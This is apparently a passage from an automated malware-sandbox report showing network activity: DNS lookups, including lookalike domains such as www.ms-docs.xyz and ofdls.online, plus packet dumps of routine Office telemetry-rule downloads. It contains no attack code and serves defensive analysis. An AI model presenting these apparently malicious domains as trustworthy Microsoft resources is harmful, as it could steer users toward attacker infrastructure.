Dec 3, 2024 15:32:14.484781981 CET	192.168.2.9	1.1.1.1	0x950f	Standard query (0)	oyatsu-jikan.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:14.485029936 CET	192.168.2.9	1.1.1.1	0xb6c4	Standard query (0)	oyatsu-jikan.org	65	IN (0x0001)	false
Dec 3, 2024 15:32:17.474132061 CET	192.168.2.9	1.1.1.1	0xbc0f	Standard query (0)	ofdls.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:17.474589109 CET	192.168.2.9	1.1.1.1	0x40c3	Standard query (0)	ofdls.online	65	IN (0x0001)	false
Dec 3, 2024 15:32:20.396265984 CET	192.168.2.9	1.1.1.1	0x2319	Standard query (0)	www.ms-docs.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:20.396429062 CET	192.168.2.9	1.1.1.1	0xc878	Standard query (0)	www.ms-docs.xyz	65	IN (0x0001)	false
Dec 3, 2024 15:32:32.628184080 CET	192.168.2.9	1.1.1.1	0xc08e	Standard query (0)	www.ms-docs.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:32.628350973 CET	192.168.2.9	1.1.1.1	0xcd3b	Standard query (0)	www.ms-docs.xyz	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 15:32:12.530746937 CET	1.1.1.1	192.168.2.9	0x1154	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 3, 2024 15:32:12.530764103 CET	1.1.1.1	192.168.2.9	0xcd7b	No error (0)	www.google.com	172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:15.043442965 CET	1.1.1.1	192.168.2.9	0x950f	No error (0)	oyatsu-jikan.org	176.31.121.57	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:17.864474058 CET	1.1.1.1	192.168.2.9	0xbc0f	No error (0)	ofdls.online	101.99.88.67	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:20.967752934 CET	1.1.1.1	192.168.2.9	0x2319	No error (0)	www.ms-docs.xyz	101.99.88.62	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:32.766371012 CET	1.1.1.1	192.168.2.9	0xc08e	No error (0)	www.ms-docs.xyz	101.99.88.62	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

oyatsu-jikan.org

fs.microsoft.com

https:

ofdls.online

www.ms-docs.xyz

slscr.update.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49705	199.232.214.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:31:57.834805965 CET	1236	IN	HTTP/1.1 200 OK Connection: keep-alive Content-Length: 7796 Cache-Control: public,max-age=900 Content-Type: application/vnd.ms-cab-compressed Last-Modified: Fri, 02 Jun 2017 17:39:05 GMT ETag: "80424021c7dbd21:0" Accept-Ranges: bytes Date: Tue, 03 Dec 2024 14:31:57 GMT Via: 1.1 varnish Age: 705 X-Served-By: cache-nyc-kteb1890024-NYC X-Cache: HIT X-Cache-Hits: 6319 X-Timer: S1733236318.678753,VS0,VE0 X-CID: 3 X-CCC: US Data Raw: 4d 53 43 46 00 00 00 00 74 1e 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 49 00 00 00 01 00 01 00 98 45 00 00 00 00 00 00 00 00 c2 4a d0 52 20 00 70 69 6e 72 75 6c 65 73 2e 73 74 6c 00 ab 3e 4e 16 23 1e 98 45 43 4b ec 5b 07 54 13 d9 d7 4f 99 d0 9b d2 91 12 aa ab 6c c2 24 04 29 56 b0 61 a5 88 ba 76 86 64 80 48 c8 c4 cc 84 26 0a 44 05 59 41 2c 28 2b 59 14 01 15 41 b1 01 8a 85 b5 97 b5 63 5d 0b 22 6b 61 2d b8 58 57 85 e5 9b 49 00 83 c2 ca b8 df 77 ce ff 7c e7 cf 39 e2 cc 9b fb bb ef bd fb ee fd bd 7b df 0c a0 7c 64 b6 86 76 ff 54 ff d4 77 fa 54 4d 5a be 7c e4 12 bc 29 85 46 a5 72 74 41 6d 0d 86 ab 01 9d 66 c5 a0 80 f2 be 8d 1a da ae 1a 54 80 2a f7 d4 a1 e6 cb fb de c3 9b 6e 83 7a 1a 3a ed 8d 74 26 f0 7d 20 45 48 11 53 82 29 32 8a 88 02 53 50 ca 1c 8a 2f 7e 8d 51 10 ca 64 8a 84 22 a0 40 f8 35 8c b7 72 28 14 0a 4d 8b 5a 73 0b de 7e 7b 98 a7 b9 3e c7 13 f4 70 e7 70 dd b9 5e 1e de d3 f1 5b 2f 70 00 d8 7e 0b 1a a8 f5 e1 40 0c c5 ae 10 ec 07 f4 66 87 0b 45 30 ca 12 84 b3 39 [TRUNCATED] Data Ascii: MSCFt,IEJR pinrules.stl>N#ECK[TOl$)VavdH&DYA,(+YAc]"ka-XWIw\|9{\|dvTwTMZ\|)FrtAmfTnz:t&} EHS)2SP/~Qd"@5r(MZs~{>pp^[/p~@fE09iDs^dNR@P%9 4Z)zh@C<]6([c=9l@4fz!0`Jp"$I?`H]2$9v1/g&aIXAAwp*`r'!e dHdhu`\!wZE$$\|1@OC!c%puxC~@`#~ P!Gb`)iL0-KxRxe"@5TJP^9#aHE@2HfHK+x$WMH}=`PD:qgnI]uXqD]n40b!m"aLzdS%PI11,^"+AtTo\
Dec 3, 2024 15:31:57.834821939 CET	1236	IN	Data Raw: 40 4b 05 0a 17 f6 18 63 0b 68 b6 43 ba a1 e9 b6 81 90 19 3d 11 d0 04 48 99 58 61 88 94 fc 72 11 41 d6 49 03 e9 40 21 d0 d1 30 8c 91 65 56 e5 84 e3 c5 7c d2 a0 68 18 8d 24 05 22 72 94 e8 88 68 4c 39 54 52 96 e9 a0 7d d2 76 25 b2 96 0e 34 29 e4 48 Data Ascii: @KchC=HXarAI@!0eV\|h$"rhL9TR}v%4)H[r\|]+5YIhNO=u8}U#SRKQAwX\|8bGC4h6gG>}8!qlA1XCqjd3"OO@D,Z
Dec 3, 2024 15:31:57.834994078 CET	1236	IN	Data Raw: 79 e8 af 55 93 8f 4e 58 68 0f 30 07 d7 72 5b 8f 4b 14 bb 0a 5b 63 ae 84 f8 be 2e 4b aa 9b 5d ff e3 c3 eb e6 5b 66 5c 11 37 46 bd f9 b5 0d 27 4f 18 74 88 95 76 63 51 85 22 39 ec f4 c2 5c 80 e9 bc d4 79 60 ae 6f b0 93 c9 f6 63 a5 05 7f ee 33 ff 65 Data Ascii: yUNXh0r[K[c.K][f\7F'OtvcQ"9\y`oc3e`^@4xU=yz_?7`^EK,^8mp.N>-fo?jt{-3$K,'A!E=xo {rlW/$Kyk
Dec 3, 2024 15:31:57.835253954 CET	1236	IN	Data Raw: e7 84 4c b0 3c ef fa c4 be f0 37 db e6 8d 9c 7b c7 f0 4d 9c 90 b0 03 52 f2 c1 94 3c 30 25 37 3f 25 27 3f 25 3b d5 3f 12 c3 24 3e 6e 6e 44 45 d9 e9 24 cc 4d 12 25 74 e3 4b 45 6e c4 01 a0 8c 8f a1 6e b8 17 e1 ee 83 7b 0d ee 32 b8 97 cf e1 82 a0 37 Data Ascii: L<7{MR<0%7?%'?%;?$>nnDE$M%tKEnn{27erR 0~R}y{E=e*_+fX7mwx#uQ.u"`SXy-/O<ZvJ=-Z=nSjD~V{?u\|~
Dec 3, 2024 15:31:57.835268974 CET	1236	IN	Data Raw: 03 dc 88 e5 25 db b5 ce 2d ce 66 16 2d 6e 76 aa 1c 4b 9f 72 f0 58 3a 9b 92 ce 73 75 d5 d2 5a 3c bb ae df 53 a7 b4 1a eb 5d 56 15 56 e7 4d 3c 44 05 ce c8 7d b7 b3 56 37 1e 64 dd bc 1b 2b da bb 6f cd 0b 8a e2 9d 4b a1 db ae bf 9a 46 2c 9f 3f 6a c3 Data Ascii: %-f-nvKrX:suZ<S]VVM<D}V7d+oKF,?je7^_csMkYBwh=\|~F"Jgyz^u-NcONI79}\|J%Je2}X?WG\|Xi-e3\1<fG{[+k{
Dec 3, 2024 15:31:57.835280895 CET	1236	IN	Data Raw: 81 64 9e 31 47 d5 19 6b 70 37 26 b5 8f 64 d7 e3 e7 0c e0 b2 cb fc 51 7b ae b8 a6 1b ca 58 d8 4c af a0 43 e6 dc ad 38 0a 95 18 15 1c 53 6a 7c 6b ac ec bb 7a 13 89 fc 21 cf 7b ef 33 c9 33 eb b8 ed da 64 f5 cb ef 17 f1 75 b0 53 77 02 f2 b2 69 c4 a2 Data Ascii: d1Gkp7&dQ{XLC8Sj\|kz!{33duSwi.6R_DxmY^In]~u4SZnnA0u(8s3M9mhxlRMEyi9sQda2A5'U';>[wUd'_ 4`^&(
Dec 3, 2024 15:31:57.843377113 CET	776	IN	Data Raw: 2d 5f d2 57 66 d6 7f a7 d8 93 4a 33 99 a3 71 49 50 68 af 9c 02 c6 9d a3 27 82 b7 39 0c 61 c0 d6 2b 82 c3 78 df 6d 51 d8 9b 7c 68 97 84 b6 9f bd 5d 29 37 31 5e da fe 02 79 54 ac 4b ae 17 cf 58 d8 56 7b 8b f4 98 c1 65 58 ad 11 35 7b 74 92 89 c9 88 Data Ascii: -_WfJ3qIPh'9a+xmQ\|h])71^yTKXV{eX5{t=v>!~%bB`8w2p;,~Unps]CLA5C+Wy\|HR"{iN*Or#DS'&hMKx}Q30j+:},jdF9E.ZIy-}Tt
Dec 3, 2024 15:31:58.026760101 CET	45	IN	Data Raw: da 61 de b6 2e ef 53 5e 3a 41 36 67 fa f8 aa 8b 09 05 14 3c b4 5a f5 26 cd 31 a9 63 63 d5 ab 4c 85 c3 2b 91 6c 2b 05 c1 78 72 c6 7f 00 Data Ascii: a.S^:A6g<Z&1ccL+l+xr

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:04 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:04 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:04 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 02 Dec 2024 13:20:33 GMT ETag: "0x8DD12D41A424BC1" x-ms-request-id: 300ecd5c-a01e-0050-4036-45db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143204Z-174f7845968cpnpfhC1EWR3afc00000015r0000000009b8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:04 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-03 14:32:05 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.9	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:08 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:09 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143209Z-174f7845968j6t2phC1EWRcfe80000001690000000005txq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:09 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.9	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:08 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:09 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: e6e3c96a-a01e-0032-07d4-431949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143209Z-174f7845968pf68xhC1EWRr4h8000000168000000000g0fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
